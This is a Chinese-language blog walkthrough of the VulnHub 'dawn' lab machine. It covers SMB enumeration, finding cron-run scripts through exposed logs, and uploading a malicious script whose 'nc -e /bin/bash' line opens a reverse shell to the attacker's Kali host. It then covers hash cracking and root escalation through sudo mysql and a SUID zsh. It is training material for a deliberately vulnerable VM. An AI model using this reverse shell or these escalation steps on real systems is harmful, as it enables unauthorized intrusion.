Vulnhub打靶记录:dawn

相关信息


kali:10.0.0.9/24

靶机:10.0.0.10/24

靶机介绍:sunset: dawn ~ VulnHub

靶机下载:https://download.vulnhub.com/sunset/dawn.zip

目标:root权限 + 1flag

难度:中

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路


全流程思路:

  • 主机发现 端口扫描
  • 信息收集:对于smb协议的了解
  • SAMBA漏洞
  • 任意文件上传:一般来说没有什么大的漏洞,除非可以和日志包含等漏洞结合。
  • 日志信息泄露:这两个步骤是关键对日志文件的解读非常关键
  • 调度任务
  • 提权方法1 提权方法2 潜在提权方法

下意识的操作

  1. 139端口和445端口一般是相关开放的,而且一般这两个端口都是或多或少具有漏洞的,所以在公网上并不常见。

主要的知识点

  • 日志的详细阅读
  • 特定权限配置的查找

具体流程


信息搜集

  1. 主机发现,信息收集,版本确认。139,445一般为伴生端口会配合开放,且为window上常用的协议smb服务。3306为一个MariaDBMySQL服务。什么是smb协议

    Snipaste_2023-07-02_18-01-29

    通过nmap脚本获取的信息,可以发现smb是允许guest登陆的,同时还扫描出了靶机的名字和系统时间。

    Snipaste_2023-07-03_20-32-16
  2. 由于目标靶机上开放了smb的端口,通过 smbclient -L \\\\10.0.0.10获取靶机可访问的共享文件目录。最好使用 \\\\来进行来进行连接,其中有两个 \表示转译,密码输入直接回车即可,应为可以使用guest登陆。其中 print$,IPC$是打印机和默认的共享服务可以忽略,重点关注ITDEPTsmbclient解释

    Snipaste_2023-07-03_20-38-45
  3. 通过smbclient登陆靶机后,键入help查看可以使用的命令,查看内部命令有哪些。

    Snipaste_2023-07-03_20-41-01

    可以发现 ITDEPT居然是没有任何文件的,同时尝试 ../来跳出共享目录的操作也无法行得通。

    Snipaste_2023-07-03_20-42-27
  4. 通过help知道支持什么命令,进行简单的文件上载和下载测试是可以成功的进行。可惜的是即使上载的恶意的命令和代码也是无法成功的运行的,就smb而已是无法让恶意文件执行的。

    Snipaste_2023-07-03_20-54-24
  5. 访问开放的80端口服务,也是非常的网页并没有什么搜获,也没有robots.txt文件。所以进行目录爬取就显得非常必要了。

    image-20230703205723901

  6. dirsearch -u http://10.0.0.10,重点关注得到的logs路径。

    Snipaste_2023-07-03_20-56-38

    Snipaste_2023-07-03_20-59-35

  7. 访问该路径,进行路径内文件的阅读。重点关注management.log文件

    Snipaste_2023-07-03_21-00-29
    • 文件解读:通过阅读这个日志文件,不难发现靶机会循环定时的执行在 /ITDEPT目录下面的两个shell脚本:web-control,product-control。可以大胆的猜测这个目录和靶机开放的smb是同一个文件路径,唯一比较奇怪的是smb开放的 /ITDEPT目录里并没有这两个脚本文件,所以不妨尝试上载恶意的同名的脚本,从而让靶机定期的执行我们上载的同名恶意脚本。

      Snipaste_2023-07-03_21-24-43

    • 通过过滤可以进一步发现靶机系统确实定期得到执行上述的两个脚本。

      Snipaste_2023-07-03_21-25-23

突破边界

  1. 构造恶意的同名脚本,并进行put上传等待同名的恶意脚本web-control,product-control,等待脚本被定期执行成功反弹shell。顺便使用python升级一下shell

    脚本内容:

    上载的命令就是put,命名为web-control,product-control其中一个即可

    #!/bin/sh
    nc -e /bin/bash 10.0.0.9 4444
    

    image-20230708171508751

信息收集

  1. dawn主目录下的相关的文件,重点关注 .bash_history,.mysql_history这个两个文件。

    image-20230708172543587
  2. .bash_history文件内容的相关内容:

    • 使用过echo命令,应该具有灵敏度发现这是个加密文件。通过kalishadow的文件格式就可以有所联想,这应该是个加密的密文,而且格式应该为:$加密方式$盐$密文

      image-20230708172527491

    • dawn可以使用sudo,而且开启了mysql服务

      image-20230708172624628

    • shadow文件的格式

      image-20230708173126037

  3. 将刚刚的密文写入hash文件中,然后进行john爆破得到密码为:onii-chan29

    image-20230708173106185

提权方式一

  1. 由于dawn可以使用 sudo,尝试进行sudo -l。不难发现dawn可以不需要输入密码sudo使用mysql的。

    image-20230708173349332

  2. 使用暴力破解获得密码尝试进行sudo登陆mysql,然后利用mysql执行系统命令来进行提权,可以发现是可以直接提权成功的,来获取flag

    image-20230708173912193
    • 虽然可以sudo mysql不需要密码,但是登陆root的密码还是需要的。
    • 复用获得的密码,发现就是dawn用户的sudo密码。
    • 由于是通过sudo连接的mysql,所以\!执行的命令具有root权限。
    • 通过mysql打开shell发现就是root用户的权限,进而成功的拿下靶机,查看flag

提权方法二

  1. 还是在浏览dawn.bash_history是发现,dawnsuroot后又再次退出到低权限的shell,然后使用了zsh这个shell

    image-20230708174432802

  2. 进行suid权限配置错误的程序或文件的检索,不难从结果中发现一个非常巧合的或者明显的漏洞:zsh居然是rootsuid

    image-20230708175137199

  3. 所以直接使用zsh开启一个新的shell,虽然依然显示是个普通用户。但是也不难发现打开的zsh是具有root权限的,可以查看flag

    image-20230708175331379

相关工具/命令


命令

smbclient

  1. what? 返回

    提供了一个类似于FTP客户端的界面,允许用户在Linux系统上访问和管理远程Windows共享文件夹

  2. 具体使用

    用到的 \都需要使用 \进行转译

    1. smbclient -L \\\\10.0.0.10
      • -L:列出目标打开的共享文件有哪些。
    2. smbclient \\\\10.0.0.10\\PATH:连接到靶机的共享文件,类似于ftp的连接。

    复盘/相关知识


复盘

潜在提权的可能性

  1. 当提取为root用户后,进入到另一个用户的家目录下浏览他的 .bash_history文件,不难发现一个具有提示性的命令。很明显如果suroot用户是需要root密码的,通过这个英文的解读,不难发现这个长字符串非常可能就是root的密码。

    image-20230708175423379 666
    • this is a really secure password noone is going to ever find:这不就是此地无银三百两吗?
  2. 尝试通过普通用户suroot用户时输入这个密码,发现果真成功的登陆。表明这个长字符串就是root的密码

    image-20230708175532810
  3. 之所以说是潜在的方法是因为,在突破边界的时候拿到的是dawnshell。既然作者给了root密码的获取方法。表明肯定还有其他突破边界的方法,而这种方法拿到到的shell肯定为ganimedes用户的。

重要

smb协议

  1. what? 返回

    ​ 协议是一种在计算机网络上进行文件共享、打印机共享和通信的网络协议。它最初由微软开发,用于在局域网(LAN)中的计算机之间共享文件、打印机和其他资源。

    ​ 一般运行在window上,同时运行在139,445端口上。具有明显的漏洞性质,在公网上几乎不开放,多在内网渗透中遇见。

  2. 渗透思路

    • 由于smbwindow的原生协议,具有较强的封闭性。linux在实现该协议的时候更多的是参照window的思想进行实现,导致这个命令在linux中并不那么完备,存在漏洞的几率较大。

了解

unc路径

它是一种用于在计算机网络中标识资源的方法,特别是用于标识共享文件夹或打印机的位置。UNC路径由两个部分组成:计算机的名称(或IP地址)和共享资源的名称。它的格式通常\computername\sharedfolder,其中"computername"是共享资源所在计算机的名称或IP地址,"sharedfolder"是共享资源的名称。

posted @ 2023-07-08 22:32  C_CHL  阅读(226)  评论(0编辑  收藏  举报